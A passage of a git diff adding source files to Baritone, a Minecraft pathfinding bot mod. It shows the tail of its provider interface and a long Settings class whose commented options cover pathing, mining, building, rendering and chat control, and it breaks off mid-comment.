* @author leijurv + */ +public interface IBaritoneProvider { + + /** + * Returns the primary {@link IBaritone} instance. This instance is persistent, and + * is represented by the local player that is created by the game itself, not a "bot" + * player through Baritone. + * + * @return The primary {@link IBaritone} instance. + */ + IBaritone getPrimaryBaritone(); + + /** + * Returns all of the active {@link IBaritone} instances. This includes the local one + * returned by {@link #getPrimaryBaritone()}. + * + * @return All active {@link IBaritone} instances. + * @see #getBaritoneForPlayer(ClientPlayerEntity) + */ + List getAllBaritones(); + + /** + * Provides the {@link IBaritone} instance for a given {@link ClientPlayerEntity}. + * + * @param player The player + * @return The {@link IBaritone} instance. + */ + default IBaritone getBaritoneForPlayer(ClientPlayerEntity player) { + for (IBaritone baritone : this.getAllBaritones()) { + if (Objects.equals(player, baritone.getPlayerContext().player())) { + return baritone; + } + } + return null; + } + + /** + * Provides the {@link IBaritone} instance for a given {@link Minecraft}. + * + * @param minecraft The minecraft + * @return The {@link IBaritone} instance. + */ + default IBaritone getBaritoneForMinecraft(Minecraft minecraft) { + for (IBaritone baritone : this.getAllBaritones()) { + if (Objects.equals(minecraft, baritone.getPlayerContext().minecraft())) { + return baritone; + } + } + return null; + } + + /** + * Creates and registers a new {@link IBaritone} instance using the specified {@link Minecraft}. The existing + * instance is returned if already registered. + * + * @param minecraft The minecraft + * @return The {@link IBaritone} instance + */ + IBaritone createBaritone(Minecraft minecraft); + + /** + * Destroys and removes the specified {@link IBaritone} instance. If the specified instance is the + * {@link #getPrimaryBaritone() primary baritone}, this operation has no effect and will return {@code false}. + * + * @param baritone The baritone instance to remove + * @return Whether the baritone instance was removed + */ + boolean destroyBaritone(IBaritone baritone); + + /** + * Returns the {@link IWorldScanner} instance. This is not a type returned by + * {@link IBaritone} implementation, because it is not linked with {@link IBaritone}. + * + * @return The {@link IWorldScanner} instance. + */ + IWorldScanner getWorldScanner(); + + /** + * Returns the {@link ICommandSystem} instance. This is not bound to a specific {@link IBaritone} + * instance because {@link ICommandSystem} itself controls global behavior for {@link ICommand}s. + * + * @return The {@link ICommandSystem} instance. + */ + ICommandSystem getCommandSystem(); + + /** + * @return The {@link ISchematicSystem} instance. + */ + ISchematicSystem getSchematicSystem(); +} diff --git a/src/baritone/api/Settings.java b/src/baritone/api/Settings.java new file mode 100644 index 00000000..d7a41a27 --- /dev/null +++ b/src/baritone/api/Settings.java @@ -0,0 +1,1455 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api; + +import baritone.api.utils.NotificationHelper; +import baritone.api.utils.SettingsUtil; +import baritone.api.utils.TypeUtils; +import baritone.api.utils.gui.BaritoneToast; +import net.minecraft.block.Block; +import net.minecraft.block.Blocks; +import net.minecraft.client.Minecraft; +import net.minecraft.item.Item; +import net.minecraft.util.math.vector.Vector3i; +import net.minecraft.util.text.ITextComponent; + +import java.awt.*; +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.lang.reflect.Field; +import java.lang.reflect.ParameterizedType; +import java.lang.reflect.Type; +import java.util.List; +import java.util.*; +import java.util.function.BiConsumer; +import java.util.function.Consumer; + +/** + * Baritone's settings. Settings apply to all Baritone instances. + * + * @author leijurv + */ +public final class Settings { + + /** + * Allow Baritone to break blocks + */ + public final Setting allowBreak = new Setting<>(true); + + /** + * Blocks that baritone will be allowed to break even with allowBreak set to false + */ + public final Setting> allowBreakAnyway = new Setting<>(new ArrayList<>()); + + /** + * Allow Baritone to sprint + */ + public final Setting allowSprint = new Setting<>(true); + + /** + * Allow Baritone to place blocks + */ + public final Setting allowPlace = new Setting<>(true); + + /** + * Allow Baritone to move items in your inventory to your hotbar + */ + public final Setting allowInventory = new Setting<>(false); + + /** + * Wait this many ticks between InventoryBehavior moving inventory items + */ + public final Setting ticksBetweenInventoryMoves = new Setting<>(1); + + /** + * Come to a halt before doing any inventory moves. Intended for anticheat such as 2b2t + */ + public final Setting inventoryMoveOnlyIfStationary = new Setting<>(false); + + /** + * Disable baritone's auto-tool at runtime, but still assume that another mod will provide auto tool functionality + *

+ * Specifically, path calculation will still assume that an auto tool will run at execution time, even though + * Baritone itself will not do that. + */ + public final Setting assumeExternalAutoTool = new Setting<>(false); + + /** + * Automatically select the best available tool + */ + public final Setting autoTool = new Setting<>(true); + + /** + * It doesn't actually take twenty ticks to place a block, this cost is so high + * because we want to generally conserve blocks which might be limited. + *

+ * Decrease to make Baritone more often consider paths that would require placing blocks + */ + public final Setting blockPlacementPenalty = new Setting<>(20D); + + /** + * This is just a tiebreaker to make it less likely to break blocks if it can avoid it. + * For example, fire has a break cost of 0, this makes it nonzero, so all else being equal + * it will take an otherwise equivalent route that doesn't require it to put out fire. + */ + public final Setting blockBreakAdditionalPenalty = new Setting<>(2D); + + /** + * Additional penalty for hitting the space bar (ascend, pillar, or parkour) because it uses hunger + */ + public final Setting jumpPenalty = new Setting<>(2D); + + /** + * Walking on water uses up hunger really quick, so penalize it + */ + public final Setting walkOnWaterOnePenalty = new Setting<>(3D); + + /** + * Don't allow breaking blocks next to liquids. + *

+ * Enable if you have mods adding custom fluid physics. + */ + public final Setting strictLiquidCheck = new Setting<>(false); + + /** + * Allow Baritone to fall arbitrary distances and place a water bucket beneath it. + * Reliability: questionable. + */ + public final Setting allowWaterBucketFall = new Setting<>(true); + + /** + * Allow Baritone to assume it can walk on still water just like any other block. + * This functionality is assumed to be provided by a separate library that might have imported Baritone. + *

+ * Note: This will prevent some usage of the frostwalker enchantment, like pillaring up from water. + */ + public final Setting assumeWalkOnWater = new Setting<>(false); + + /** + * If you have Fire Resistance and Jesus then I guess you could turn this on lol + */ + public final Setting assumeWalkOnLava = new Setting<>(false); + + /** + * Assume step functionality; don't jump on an Ascend. + */ + public final Setting assumeStep = new Setting<>(false); + + /** + * Assume safe walk functionality; don't sneak on a backplace traverse. + *

+ * Warning: if you do something janky like sneak-backplace from an ender chest, if this is true + * it won't sneak right click, it'll just right click, which means it'll open the chest instead of placing + * against it. That's why this defaults to off. + */ + public final Setting assumeSafeWalk = new Setting<>(false); + + /** + * If true, parkour is allowed to make jumps when standing on blocks at the maximum height, so player feet is y=256 + *

+ * Defaults to false because this fails on constantiam. Please let me know if this is ever disabled. Please. + */ + public final Setting allowJumpAt256 = new Setting<>(false); + + /** + * This should be monetized it's so good + *

+ * Defaults to true, but only actually takes effect if allowParkour is also true + */ + public final Setting allowParkourAscend = new Setting<>(true); + + /** + * Allow descending diagonally + *

+ * Safer than allowParkour yet still slightly unsafe, can make contact with unchecked adjacent blocks, so it's unsafe in the nether. + *

+ * For a generic "take some risks" mode I'd turn on this one, parkour, and parkour place. + */ + public final Setting allowDiagonalDescend = new Setting<>(false); + + /** + * Allow diagonal ascending + *

+ * Actually pretty safe, much safer than diagonal descend tbh + */ + public final Setting allowDiagonalAscend = new Setting<>(false); + + /** + * Allow mining the block directly beneath its feet + *

+ * Turn this off to force it to make more staircases and less shafts + */ + public final Setting allowDownward = new Setting<>(true); + + /** + * Blocks that Baritone is allowed to place (as throwaway, for sneak bridging, pillaring, etc.) + */ + public final Setting> acceptableThrowawayItems = new Setting<>(new ArrayList<>(Arrays.asList( + Blocks.DIRT.asItem(), + Blocks.COBBLESTONE.asItem(), + Blocks.NETHERRACK.asItem(), + Blocks.STONE.asItem() + ))); + + /** + * Blocks that Baritone will attempt to avoid (Used in avoidance) + */ + public final Setting> blocksToAvoid = new Setting<>(new ArrayList<>( + // Leave Empty by Default + )); + + /** + * Blocks that Baritone is not allowed to break + */ + public final Setting> blocksToDisallowBreaking = new Setting<>(new ArrayList<>( + // Leave Empty by Default + )); + + /** + * blocks that baritone shouldn't break, but can if it needs to. + */ + public final Setting> blocksToAvoidBreaking = new Setting<>(new ArrayList<>(Arrays.asList( // TODO can this be a HashSet or ImmutableSet? + Blocks.CRAFTING_TABLE, + Blocks.FURNACE, + Blocks.CHEST, + Blocks.TRAPPED_CHEST + ))); + + /** + * this multiplies the break speed, if set above 1 it's "encourage breaking" instead + */ + public final Setting avoidBreakingMultiplier = new Setting<>(.1); + + /** + * A list of blocks to be treated as if they're air. + *

+ * If a schematic asks for air at a certain position, and that position currently contains a block on this list, it will be treated as correct. + */ + public final Setting> buildIgnoreBlocks = new Setting<>(new ArrayList<>(Arrays.asList( + + ))); + + /** + * A list of blocks to be treated as correct. + *

+ * If a schematic asks for any block on this list at a certain position, it will be treated as correct, regardless of what it currently is. + */ + public final Setting> buildSkipBlocks = new Setting<>(new ArrayList<>(Arrays.asList( + + ))); + + /** + * A mapping of blocks to blocks treated as correct in their position + *

+ * If a schematic asks for a block on this mapping, all blocks on the mapped list will be accepted at that location as well + *

+ * Syntax same as buildSubstitutes + */ + public final Setting>> buildValidSubstitutes = new Setting<>(new HashMap<>()); + + /** + * A mapping of blocks to blocks to be built instead + *

+ * If a schematic asks for a block on this mapping, Baritone will place the first placeable block in the mapped list + *

+ * Usage Syntax: + *

+     *      sourceblockA->blockToSubstituteA1,blockToSubstituteA2,...blockToSubstituteAN,sourceBlockB->blockToSubstituteB1,blockToSubstituteB2,...blockToSubstituteBN,...sourceBlockX->blockToSubstituteX1,blockToSubstituteX2...blockToSubstituteXN
+     * 
+ * Example: + *
+     *     stone->cobblestone,andesite,oak_planks->birch_planks,acacia_planks,glass
+     * 
+ */ + public final Setting>> buildSubstitutes = new Setting<>(new HashMap<>()); + + /** + * A list of blocks to become air + *

+ * If a schematic asks for a block on this list, only air will be accepted at that location (and nothing on buildIgnoreBlocks) + */ + public final Setting> okIfAir = new Setting<>(new ArrayList<>(Arrays.asList( + + ))); + + /** + * If this is true, the builder will treat all non-air blocks as correct. It will only place new blocks. + */ + public final Setting buildIgnoreExisting = new Setting<>(false); + + /** + * If this is true, the builder will ignore directionality of certain blocks like glazed terracotta. + */ + public final Setting buildIgnoreDirection = new Setting<>(false); + + /** + * A list of names of block properties the builder will ignore. + */ + public final Setting> buildIgnoreProperties = new Setting<>(new ArrayList<>(Arrays.asList( + ))); + + /** + * If this setting is true, Baritone will never break a block that is adjacent to an unsupported falling block. + *

+ * I.E. it will never trigger cascading sand / gravel falls + */ + public final Setting avoidUpdatingFallingBlocks = new Setting<>(true); + + /** + * Enables some more advanced vine features. They're honestly just gimmicks and won't ever be needed in real + * pathing scenarios. And they can cause Baritone to get trapped indefinitely in a strange scenario. + *

+ * Almost never turn this on lol + */ + public final Setting allowVines = new Setting<>(false); + + /** + * Slab behavior is complicated, disable this for higher path reliability. Leave enabled if you have bottom slabs + * everywhere in your base. + */ + public final Setting allowWalkOnBottomSlab = new Setting<>(true); + + /** + * You know what it is + *

+ * But it's very unreliable and falls off when cornering like all the time so. + *

+ * It also overshoots the landing pretty much always (making contact with the next block over), so be careful + */ + public final Setting allowParkour = new Setting<>(false); + + /** + * Actually pretty reliable. + *

+ * Doesn't make it any more dangerous compared to just normal allowParkour th + */ + public final Setting allowParkourPlace = new Setting<>(false); + + /** + * For example, if you have Mining Fatigue or Haste, adjust the costs of breaking blocks accordingly. + */ + public final Setting considerPotionEffects = new Setting<>(true); + + /** + * Sprint and jump a block early on ascends wherever possible + */ + public final Setting sprintAscends = new Setting<>(true); + + /** + * If we overshoot a traverse and end up one block beyond the destination, mark it as successful anyway. + *

+ * This helps with speed exceeding 20m/s + */ + public final Setting overshootTraverse = new Setting<>(true); + + /** + * When breaking blocks for a movement, wait until all falling blocks have settled before continuing + */ + public final Setting pauseMiningForFallingBlocks = new Setting<>(true); + + /** + * How many ticks between right clicks are allowed. Default in game is 4 + */ + public final Setting rightClickSpeed = new Setting<>(4); + + /** + * How many degrees to randomize the yaw every tick. Set to 0 to disable + */ + public final Setting randomLooking113 = new Setting<>(2d); + + /** + * Block reach distance + */ + public final Setting blockReachDistance = new Setting<>(4.5f); + + /** + * How many degrees to randomize the pitch and yaw every tick. Set to 0 to disable + */ + public final Setting randomLooking = new Setting<>(0.01d); + + /** + * This is the big A* setting. + * As long as your cost heuristic is an *underestimate*, it's guaranteed to find you the best path. + * 3.5 is always an underestimate, even if you are sprinting. + * If you're walking only (with allowSprint off) 4.6 is safe. + * Any value below 3.5 is never worth it. It's just more computation to find the same path, guaranteed. + * (specifically, it needs to be strictly slightly less than ActionCosts.WALK_ONE_BLOCK_COST, which is about 3.56) + *

+ * Setting it at 3.57 or above with sprinting, or to 4.64 or above without sprinting, will result in + * faster computation, at the cost of a suboptimal path. Any value above the walk / sprint cost will result + * in it going straight at its goal, and not investigating alternatives, because the combined cost / heuristic + * metric gets better and better with each block, instead of slightly worse. + *

+ * Finding the optimal path is worth it, so it's the default. + */ + public final Setting costHeuristic = new Setting<>(3.563); + + // a bunch of obscure internal A* settings that you probably don't want to change + /** + * The maximum number of times it will fetch outside loaded or cached chunks before assuming that + * pathing has reached the end of the known area, and should therefore stop. + */ + public final Setting pathingMaxChunkBorderFetch = new Setting<>(50); + + /** + * Set to 1.0 to effectively disable this feature + * + * @see Issue #18 + */ + public final Setting backtrackCostFavoringCoefficient = new Setting<>(0.5); + + /** + * Toggle the following 4 settings + *

+ * They have a noticeable performance impact, so they default off + *

+ * Specifically, building up the avoidance map on the main thread before pathing starts actually takes a noticeable + * amount of time, especially when there are a lot of mobs around, and your game jitters for like 200ms while doing so + */ + public final Setting avoidance = new Setting<>(false); + + /** + * Set to 1.0 to effectively disable this feature + *

+ * Set below 1.0 to go out of your way to walk near mob spawners + */ + public final Setting mobSpawnerAvoidanceCoefficient = new Setting<>(2.0); + + /** + * Distance to avoid mob spawners. + */ + public final Setting mobSpawnerAvoidanceRadius = new Setting<>(16); + + /** + * Set to 1.0 to effectively disable this feature + *

+ * Set below 1.0 to go out of your way to walk near mobs + */ + public final Setting mobAvoidanceCoefficient = new Setting<>(1.5); + + /** + * Distance to avoid mobs. + */ + public final Setting mobAvoidanceRadius = new Setting<>(8); + + /** + * When running a goto towards a container block (chest, ender chest, furnace, etc), + * right click and open it once you arrive. + */ + public final Setting rightClickContainerOnArrival = new Setting<>(true); + + /** + * When running a goto towards a nether portal block, walk all the way into the portal + * instead of stopping one block before. + */ + public final Setting enterPortal = new Setting<>(true); + + /** + * Don't repropagate cost improvements below 0.01 ticks. They're all just floating point inaccuracies, + * and there's no point. + */ + public final Setting minimumImprovementRepropagation = new Setting<>(true); + + /** + * After calculating a path (potentially through cached chunks), artificially cut it off to just the part that is + * entirely within currently loaded chunks. Improves path safety because cached chunks are heavily simplified. + *

+ * This is much safer to leave off now, and makes pathing more efficient. More explanation in the issue. + * + * @see Issue #114 + */ + public final Setting cutoffAtLoadBoundary = new Setting<>(false); + + /** + * If a movement's cost increases by more than this amount between calculation and execution (due to changes + * in the environment / world), cancel and recalculate + */ + public final Setting maxCostIncrease = new Setting<>(10D); + + /** + * Stop 5 movements before anything that made the path COST_INF. + * For example, if lava has spread across the path, don't walk right up to it then recalculate, it might + * still be spreading lol + */ + public final Setting costVerificationLookahead = new Setting<>(5); + + /** + * Static cutoff factor. 0.9 means cut off the last 10% of all paths, regardless of chunk load state + */ + public final Setting pathCutoffFactor = new Setting<>(0.9); + + /** + * Only apply static cutoff for paths of at least this length (in terms of number of movements) + */ + public final Setting pathCutoffMinimumLength = new Setting<>(30); + + /** + * Start planning the next path once the remaining movements tick estimates sum up to less than this value + */ + public final Setting planningTickLookahead = new Setting<>(150); + + /** + * Default size of the Long2ObjectOpenHashMap used in pathing + */ + public final Setting pathingMapDefaultSize = new Setting<>(1024); + + /** + * Load factor coefficient for the Long2ObjectOpenHashMap used in pathing + *

+ * Decrease for faster map operations, but higher memory usage + */ + public final Setting pathingMapLoadFactor = new Setting<>(0.75f); + + /** + * How far are you allowed to fall onto solid ground (without a water bucket)? + * 3 won't deal any damage. But if you just want to get down the mountain quickly and you have + * Feather Falling IV, you might set it a bit higher, like 4 or 5. + */ + public final Setting maxFallHeightNoWater = new Setting<>(3); + + /** + * How far are you allowed to fall onto solid ground (with a water bucket)? + * It's not that reliable, so I've set it below what would kill an unarmored player (23) + */ + public final Setting maxFallHeightBucket = new Setting<>(20); + + /** + * Is it okay to sprint through a descend followed by a diagonal? + * The player overshoots the landing, but not enough to fall off. And the diagonal ensures that there isn't + * lava or anything that's !canWalkInto in that space, so it's technically safe, just a little sketchy. + *

+ * Note: this is *not* related to the allowDiagonalDescend setting, that is a completely different thing. + */ + public final Setting allowOvershootDiagonalDescend = new Setting<>(true); + + /** + * If your goal is a GoalBlock in an unloaded chunk, assume it's far enough away that the Y coord + * doesn't matter yet, and replace it with a GoalXZ to the same place before calculating a path. + * Once a segment ends within chunk load range of the GoalBlock, it will go back to normal behavior + * of considering the Y coord. The reasoning is that if your X and Z are 10,000 blocks away, + * your Y coordinate's accuracy doesn't matter at all until you get much much closer. + */ + public final Setting simplifyUnloadedYCoord = new Setting<>(true); + + /** + * Whenever a block changes, repack the whole chunk that it's in + */ + public final Setting repackOnAnyBlockChange = new Setting<>(true); + + /** + * If a movement takes this many ticks more than its initial cost estimate, cancel it + */ + public final Setting movementTimeoutTicks = new Setting<>(100); + + /** + * Pathing ends after this amount of time, but only if a path has been found + *

+ * If no valid path (length above the minimum) has been found, pathing continues up until the failure timeout + */ + public final Setting primaryTimeoutMS = new Setting<>(500L); + + /** + * Pathing can never take longer than this, even if that means failing to find any path at all + */ + public final Setting failureTimeoutMS = new Setting<>(2000L); + + /** + * Planning ahead while executing a segment ends after this amount of time, but only if a path has been found + *

+ * If no valid path (length above the minimum) has been found, pathing continues up until the failure timeout + */ + public final Setting planAheadPrimaryTimeoutMS = new Setting<>(4000L); + + /** + * Planning ahead while executing a segment can never take longer than this, even if that means failing to find any path at all + */ + public final Setting planAheadFailureTimeoutMS = new Setting<>(5000L); + + /** + * For debugging, consider nodes much much slower + */ + public final Setting slowPath = new Setting<>(false); + + /** + * Milliseconds between each node + */ + public final Setting slowPathTimeDelayMS = new Setting<>(100L); + + /** + * The alternative timeout number when slowPath is on + */ + public final Setting slowPathTimeoutMS = new Setting<>(40000L); + + + /** + * allows baritone to save bed waypoints when interacting with beds + */ + public final Setting doBedWaypoints = new Setting<>(true); + + /** + * allows baritone to save death waypoints + */ + public final Setting doDeathWaypoints = new Setting<>(true); + + /** + * The big one. Download all chunks in simplified 2-bit format and save them for better very-long-distance pathing. + */ + public final Setting chunkCaching = new Setting<>(true); + + /** + * On save, delete from RAM any cached regions that are more than 1024 blocks away from the player + *

+ * Temporarily disabled + *

+ * Temporarily reenabled + * + * @see Issue #248 + */ + public final Setting pruneRegionsFromRAM = new Setting<>(true); + + /** + * The chunk packer queue can never grow to larger than this, if it does, the oldest chunks are discarded + *

+ * The newest chunks are kept, so that if you're moving in a straight line quickly then stop, your immediate render distance is still included + */ + public final Setting chunkPackerQueueMaxSize = new Setting<>(2000); + + /** + * Fill in blocks behind you + */ + public final Setting backfill = new Setting<>(false); + + /** + * Shows popup message in the upper right corner, similarly to when you make an advancement + */ + public final Setting logAsToast = new Setting<>(false); + + /** + * The time of how long the message in the pop-up will display + *

+ * If below 1000L (1sec), it's better to disable this + */ + public final Setting toastTimer = new Setting<>(5000L); + + /** + * Print all the debug messages to chat + */ + public final Setting chatDebug = new Setting<>(false); + + /** + * Allow chat based control of Baritone. Most likely should be disabled when Baritone is imported for use in + * something else + */ + public final Setting chatControl = new Setting<>(true); + + /** + * Some clients like Impact try to force chatControl to off, so here's a second setting to do it anyway + */ + public final Setting chatControlAnyway = new Setting<>(false); + + /** + * Render the path + */ + public final Setting renderPath = new Setting<>(true); + + /** + * Render the path as a line instead of a frickin thingy + */ + public final Setting renderPathAsLine = new Setting<>(false); + + /** + * Render the goal + */ + public final Setting renderGoal = new Setting<>(true); + + /** + * Render the goal as a sick animated thingy instead of just a box + * (also controls animation of GoalXZ if {@link #renderGoalXZBeacon} is enabled) + */ + public final Setting renderGoalAnimated = new Setting<>(true); + + /** + * Render selection boxes + */ + public final Setting renderSelectionBoxes = new Setting<>(true); + + /** + * Ignore depth when rendering the goal + */ + public final Setting renderGoalIgnoreDepth = new Setting<>(true); + + /** + * Renders X/Z type Goals with the vanilla beacon beam effect. Combining this with + * {@link #renderGoalIgnoreDepth} will cause strange render clipping. + */ + public final Setting renderGoalXZBeacon = new Setting<>(false); + + /** + * Ignore depth when rendering the selection boxes (to break, to place, to walk into) + */ + public final Setting renderSelectionBoxesIgnoreDepth = new Setting<>(true); + + /** + * Ignore depth when rendering the path + */ + public final Setting renderPathIgnoreDepth = new Setting<>(true); + + /** + * Line width of the path when rendered, in pixels + */ + public final Setting pathRenderLineWidthPixels = new Setting<>(5F); + + /** + * Line width of the goal when rendered, in pixels + */ + public final Setting goalRenderLineWidthPixels = new Setting<>(3F); + + /** + * Start fading out the path at 20 movements ahead, and stop rendering it entirely 30 movements ahead. + * Improves FPS. + */ + public final Setting fadePath = new Setting<>(false); + + /** + * Move without having to force the client-sided rotations + */ + public final Setting freeLook = new Setting<>(true); + + /** + * Break and place blocks without having to force the client-sided rotations. Requires {@link #freeLook}. + */ + public final Setting blockFreeLook = new Setting<>(false); + + /** + * When true, the player will remain with its existing look direction as often as possible. + * Although, in some cases this can get it stuck, hence this setting to disable that behavior. + */ + public final Setting remainWithExistingLookDirection = new Setting<>(true); + + /** + * Will cause some minor behavioral differences to ensure that Baritone works on anticheats. + *

+ * At the moment this will silently set the player's rotations when using freeLook so you're not sprinting in + * directions other than forward, which is picken up by more "advanced" anticheats like AAC, but not NCP. + */ + public final Setting antiCheatCompatibility = new Setting<>(true); + + /** + * Exclusively use cached chunks for pathing + *

+ * Never turn this on + */ + public final Setting pathThroughCachedOnly = new Setting<>(false); + + /** + * Continue sprinting while in water + */ + public final Setting sprintInWater = new Setting<>(true); + + /** + * When GetToBlockProcess or MineProcess fails to calculate a path, instead of just giving up, mark the closest instance + * of that block as "unreachable" and go towards the next closest. GetToBlock expands this search to the whole "vein"; MineProcess does not. + * This is because MineProcess finds individual impossible blocks (like one block in a vein that has gravel on top then lava, so it can't break) + * Whereas GetToBlock should blacklist the whole "vein" if it can't get to any of them. + */ + public final Setting blacklistClosestOnFailure = new Setting<>(true); + + /** + * 😎 Render cached chunks as semitransparent. Doesn't work with OptiFine 😭 Rarely randomly crashes, see this issue. + *

+ * Can be very useful on servers with low render distance. After enabling, you may need to reload the world in order for it to have an effect + * (e.g. disconnect and reconnect, enter then exit the nether, die and respawn, etc). This may literally kill your FPS and CPU because + * every chunk gets recompiled twice as much as normal, since the cached version comes into range, then the normal one comes from the server for real. + *

+ * Note that flowing water is cached as AVOID, which is rendered as lava. As you get closer, you may therefore see lava falls being replaced with water falls. + *

+ * SOLID is rendered as stone in the overworld, netherrack in the nether, and end stone in the end + */ + public final Setting renderCachedChunks = new Setting<>(false); + + /** + * 0.0f = not visible, fully transparent (instead of setting this to 0, turn off renderCachedChunks) + * 1.0f = fully opaque + */ + public final Setting cachedChunksOpacity = new Setting<>(0.5f); + + /** + * Whether or not to allow you to run Baritone commands with the prefix + */ + public final Setting prefixControl = new Setting<>(true); + + /** + * The command prefix for chat control + */ + public final Setting prefix = new Setting<>("#"); + + /** + * Use a short Baritone prefix [B] instead of [Baritone] when logging to chat + */ + public final Setting shortBaritonePrefix = new Setting<>(false); + + /** + * Echo commands to chat when they are run + */ + public final Setting echoCommands = new Setting<>(true); + + /** + * Censor coordinates in goals and block positions + */ + public final Setting censorCoordinates = new Setting<>(false); + + /** + * Censor arguments to ran commands, to hide, for example, coordinates to #goal + */ + public final Setting censorRanCommands = new Setting<>(false); + + /** + * Stop using tools just before they are going to break. + */ + public final Setting itemSaver = new Setting<>(false); + + /** + * Durability to leave on the tool when using itemSaver + */ + public final Setting itemSaverThreshold = new Setting<>(10); + + /** + * Always prefer silk touch tools over regular tools. This will not sacrifice speed, but it will always prefer silk + * touch tools over other tools of the same speed. This includes always choosing ANY silk touch tool over your hand. + */ + public final Setting preferSilkTouch = new Setting<>(false); + + /** + * Don't stop walking forward when you need to break blocks in your way + */ + public final Setting walkWhileBreaking = new Setting<>(true); + + /** + * When a new segment is calculated that doesn't overlap with the current one, but simply begins where the current segment ends, + * splice it on and make a longer combined path. If this setting is off, any planned segment will not be spliced and will instead + * be the "next path" in PathingBehavior, and will only start after this one ends. Turning this off hurts planning ahead, + * because the next segment will exist even if it's very short. + * + * @see #planningTickLookahead + */ + public final Setting splicePath = new Setting<>(true); + + /** + * If we are more than 300 movements into the current path, discard the oldest segments, as they are no longer useful + */ + public final Setting maxPathHistoryLength = new Setting<>(300); + + /** + * If the current path is too long, cut off this many movements from the beginning. + */ + public final Setting pathHistoryCutoffAmount = new Setting<>(50); + + /** + * Rescan for the goal once every 5 ticks. + * Set to 0 to disable. + */ + public final Setting mineGoalUpdateInterval = new Setting<>(5); + + /** + * After finding this many instances of the target block in the cache, it will stop expanding outward the chunk search. + */ + public final Setting maxCachedWorldScanCount = new Setting<>(10); + + /** + * Sets the minimum y level whilst mining - set to 0 to turn off. + */ + public final Setting minYLevelWhileMining = new Setting<>(0); + + /** + * Sets the maximum y level to mine ores at. + */ + public final Setting maxYLevelWhileMining = new Setting<>(255); // 1.17+ defaults to maximum possible world height + + /** + * This will only allow baritone to mine exposed ores, can be used to stop ore obfuscators on servers that use them. + */ + public final Setting allowOnlyExposedOres = new Setting<>(false); + + /** + * When allowOnlyExposedOres is enabled this is the distance around to search. + *

+ * It is recommended to keep this value low, as it dramatically increases calculation times. + */ + public final Setting allowOnlyExposedOresDistance = new Setting<>(1); + + /** + * When GetToBlock or non-legit Mine doesn't know any locations for the desired block, explore randomly instead of giving up. + */ + public final Setting exploreForBlocks = new Setting<>(true); + + /** + * While exploring the world, offset the closest unloaded chunk by this much in both axes. + *

+ * This can result in more efficient loading, if you set this to the render distance. + */ + public final Setting worldExploringChunkOffset = new Setting<>(0); + + /** + * Take the 10 closest chunks, even if they aren't strictly tied for distance metric from origin. + */ + public final Setting exploreChunkSetMinimumSize = new Setting<>(10); + + /** + * Attempt to maintain Y coordinate while exploring + *

+ * -1 to disable + */ + public final Setting exploreMaintainY = new Setting<>(64); + + /** + * Replant normal Crops while farming and leave cactus and sugarcane to regrow + */ + public final Setting replantCrops = new Setting<>(true); + + /** + * Replant nether wart while farming. This setting only has an effect when replantCrops is also enabled + */ + public final Setting replantNetherWart = new Setting<>(false); + + /** + * When the cache scan gives less blocks than the maximum threshold (but still above zero), scan the main world too. + *

+ * Only if you have a beefy CPU and automatically mine blocks that are in cache + */ + public final Setting extendCacheOnThreshold = new Setting<>(false); + + /** + * Don't consider the next layer in builder until the current one is done + */ + public final Setting buildInLayers = new Setting<>(false); + + /** + * false = build from bottom to top + *

+ * true = build from top to bottom + */ + public final Setting layerOrder = new Setting<>(false); + + /** + * How high should the individual layers be? + */ + public final Setting layerHeight = new Setting<>(1); + + /** + * Start building the schematic at a specific layer. + * Can help on larger builds when schematic wants to break things its already built + */ + public final Setting startAtLayer = new Setting<>(0); + + /** + * If a layer is unable to be constructed, just skip it. + */ + public final Setting skipFailedLayers = new Setting<>(false); + + /** + * Only build the selected part of schematics + */ + public final Setting buildOnlySelection = new Setting<>(false); + + /** + * How far to move before repeating the build. 0 to disable repeating on a certain axis, 0,0,0 to disable entirely + */ + public final Setting buildRepeat = new Setting<>(new Vector3i(0, 0, 0)); + + /** + * How many times to buildrepeat. -1 for infinite. + */ + public final Setting buildRepeatCount = new Setting<>(-1); + + /** + * Don't notify schematics that they are moved. + * e.g. replacing will replace the same spots for every repetition + * Mainly for backward compatibility. + */ + public final Setting buildRepeatSneaky = new Setting<>(true); + + /** + * Allow standing above a block while mining it, in BuilderProcess + *

+ * Experimental + */ + public final Setting breakFromAbove = new Setting<>(false); + + /** + * As well as breaking from above, set a goal to up and to the side of all blocks to break. + *

+ * Never turn this on without also turning on breakFromAbove. + */ + public final Setting goalBreakFromAbove = new Setting<>(false); + + /** + * Build in map art mode, which makes baritone only care about the top block in each column + */ + public final Setting mapArtMode = new Setting<>(false); + + /** + * Override builder's behavior to not attempt to correct blocks that are currently water + */ + public final Setting okIfWater = new Setting<>(false); + + /** + * The set of incorrect blocks can never grow beyond this size + */ + public final Setting incorrectSize = new Setting<>(100); + + /** + * Multiply the cost of breaking a block that's correct in the builder's schematic by this coefficient + */ + public final Setting breakCorrectBlockPenaltyMultiplier = new Setting<>(10d); + + /** + * When this setting is true, build a schematic with the highest X coordinate being the origin, instead of the lowest + */ + public final Setting schematicOrientationX = new Setting<>(false); + + /** + * When this setting is true, build a schematic with the highest Y coordinate being the origin, instead of the lowest + */ + public final Setting schematicOrientationY = new Setting<>(false); + + /** + * When this setting is true, build a schematic with the highest Z coordinate being the origin, instead of the lowest + */ + public final Setting schematicOrientationZ = new Setting<>(false); + + /** + * The fallback used by the build command when no extension is specified. This may be useful if schematics of a + * particular format are used often, and the user does not wish to have to specify the extension with every usage. + */ + public final Setting schematicFallbackExtension = new Setting<>("schematic"); + + /** + * Distance to scan every tick for updates. Expanding this beyond player reach distance (i.e. setting it to 6 or above) + * is only necessary in very large schematics where rescanning the whole thing is costly. + */ + public final Setting builderTickScanRadius = new Setting<>(5); + + /** + * While mining, should it also consider dropped items of the correct type as a pathing destination (as well as ore blocks)? + */ + public final Setting mineScanDroppedItems = new Setting<>(true); + + /** + * While mining, wait this number of milliseconds after mining an ore to see if it will drop an item + * instead of immediately going onto the next one + *

